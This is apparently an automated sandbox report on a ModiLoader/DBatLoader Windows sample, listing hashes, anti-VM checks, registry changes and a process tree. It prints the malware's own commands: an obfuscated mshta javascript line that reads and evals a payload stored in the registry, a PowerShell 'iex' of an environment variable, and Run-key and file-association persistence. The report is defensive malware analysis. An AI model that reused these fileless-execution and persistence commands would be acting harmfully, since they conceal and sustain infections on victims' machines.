Analysis
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max time kernel
152s -
max time network
170s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
04-10-2022 06:14
Static task
static1
Behavioral task
behavioral1
Sample
884de9273e952f5171abc09c84796dae.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
884de9273e952f5171abc09c84796dae.exe
Resource
win10v2004-20220812-en
General
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Target
884de9273e952f5171abc09c84796dae.exe
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Size
478KB
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MD5
884de9273e952f5171abc09c84796dae
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SHA1
fb9f2f8575e67b41ce0e18f1cb8e8b86f066e2c8
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SHA256
e0233612d6f430952f891f3ca4d40ae4c825c428691a8bdff7b34f335beda674
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SHA512
4b49669af8ec58920c80dc5831ee4cd277adaf6305d8947f29f2b08d2e9cf74ffab87aa59fdc42c10f3a8ebfdf46a36f6ebe2f07cf52ff11aec145810bf72ca9
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SSDEEP
6144:MethZNvTbICmpn3SObr9VnlBRDRdt0Gh9L6Y4kxsl5QOc41zM4FpDJMxZs3:lhZN5unbnlRlhlhW5dDl
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1116 1324 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 12 IoCs
Processes:
resource yara_rule behavioral1/memory/884-55-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral1/memory/884-56-0x0000000000400000-0x000000000047FF98-memory.dmp modiloader_stage2 behavioral1/memory/884-57-0x0000000000400000-0x000000000047FF98-memory.dmp modiloader_stage2 behavioral1/memory/884-58-0x0000000000640000-0x000000000071C000-memory.dmp modiloader_stage2 behavioral1/memory/884-59-0x0000000000640000-0x000000000071C000-memory.dmp modiloader_stage2 behavioral1/memory/1800-64-0x0000000005D40000-0x0000000005E1C000-memory.dmp modiloader_stage2 behavioral1/memory/1800-68-0x0000000005D40000-0x0000000005E1C000-memory.dmp modiloader_stage2 behavioral1/memory/884-69-0x0000000000640000-0x000000000071C000-memory.dmp modiloader_stage2 behavioral1/memory/1164-70-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/2004-73-0x0000000000270000-0x00000000003BA000-memory.dmp modiloader_stage2 behavioral1/memory/1164-74-0x00000000001A0000-0x00000000002EA000-memory.dmp modiloader_stage2 behavioral1/memory/2004-75-0x0000000000270000-0x00000000003BA000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 1164 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\9e80860\\d83b055.bat\"" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.exeregsvr32.exedescription pid process target process PID 1800 set thread context of 1164 1800 powershell.exe regsvr32.exe PID 1164 set thread context of 2004 1164 regsvr32.exe regsvr32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 7 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\.fd9f689f\ = "af6b739" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739 regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:FdVSd02=\"lcVHB0\";r78v=new ActiveXObject(\"WScript.Shell\");cZHKa5=\"k\";m0q0RX=r78v.RegRead(\"HKCU\\\\software\\\\xeyhtcugx\\\\dghpxigz\");Zrh0OBOx=\"P\";eval(m0q0RX);c4EhL=\"pjt\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\.fd9f689f regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 1800 powershell.exe 1800 powershell.exe 1800 powershell.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe 1164 regsvr32.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
powershell.exeregsvr32.exepid process 1800 powershell.exe 1164 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1800 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
mshta.exepowershell.exeregsvr32.exedescription pid process target process PID 1116 wrote to memory of 1800 1116 mshta.exe powershell.exe PID 1116 wrote to memory of 1800 1116 mshta.exe powershell.exe PID 1116 wrote to memory of 1800 1116 mshta.exe powershell.exe PID 1116 wrote to memory of 1800 1116 mshta.exe powershell.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1800 wrote to memory of 1164 1800 powershell.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe PID 1164 wrote to memory of 2004 1164 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\884de9273e952f5171abc09c84796dae.exe"C:\Users\Admin\AppData\Local\Temp\884de9273e952f5171abc09c84796dae.exe"1⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:ueH0yK7nf="qPhpOFG";sE16=new%20ActiveXObject("WScript.Shell");XLorT54="02ZjhoU9";gQu2j=sE16.RegRead("HKCU\\software\\G0am0v\\dmx6tESboQ");TB9sc3Z="zOFCMx";eval(gQu2j);avi9fN="ZZT";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ffgs2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/884-55-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/884-56-0x0000000000400000-0x000000000047FF98-memory.dmpFilesize
511KB
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memory/884-57-0x0000000000400000-0x000000000047FF98-memory.dmpFilesize
511KB
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memory/884-58-0x0000000000640000-0x000000000071C000-memory.dmpFilesize
880KB
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memory/884-59-0x0000000000640000-0x000000000071C000-memory.dmpFilesize
880KB
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memory/884-54-0x0000000075E51000-0x0000000075E53000-memory.dmpFilesize
8KB
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memory/884-69-0x0000000000640000-0x000000000071C000-memory.dmpFilesize
880KB
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memory/1164-65-0x00000000001FC6D0-mapping.dmp
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memory/1164-74-0x00000000001A0000-0x00000000002EA000-memory.dmpFilesize
1.3MB
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memory/1164-70-0x00000000001A0000-0x00000000002EA000-memory.dmpFilesize
1.3MB
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memory/1800-63-0x0000000074420000-0x00000000749CB000-memory.dmpFilesize
5.7MB
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memory/1800-67-0x0000000074420000-0x00000000749CB000-memory.dmpFilesize
5.7MB
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memory/1800-68-0x0000000005D40000-0x0000000005E1C000-memory.dmpFilesize
880KB
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memory/1800-64-0x0000000005D40000-0x0000000005E1C000-memory.dmpFilesize
880KB
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memory/1800-62-0x0000000074420000-0x00000000749CB000-memory.dmpFilesize
5.7MB
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memory/1800-60-0x0000000000000000-mapping.dmp
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memory/2004-71-0x00000000002CC6D0-mapping.dmp
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memory/2004-73-0x0000000000270000-0x00000000003BA000-memory.dmpFilesize
1.3MB
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memory/2004-75-0x0000000000270000-0x00000000003BA000-memory.dmpFilesize
1.3MB